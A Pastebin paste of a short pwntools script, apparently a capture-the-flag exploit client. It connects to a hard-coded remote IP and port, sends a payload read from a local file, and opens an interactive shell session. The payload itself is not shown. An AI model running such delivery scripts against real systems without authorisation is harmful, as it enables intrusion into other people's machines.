Guest User

Untitled

a guest
Jun 9th, 2020
63
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. from pwn import *
  4. context(arch='i386', os='linux') # i386, amd64
  5. _ATT = 0
  6. _local = 0
  7. host = "60.250.197.227"
  8. port = "11000"
  9. r = remote(host, port)
  10. f = open('yeh.tar', 'r')
  11. payload = f.readline().rstrip('\r\n')
  12. l = len(payload)
  13. r.sendline(str(l))
  14. r.sendline(payload)
  15. r.interactive()
RAW Paste Data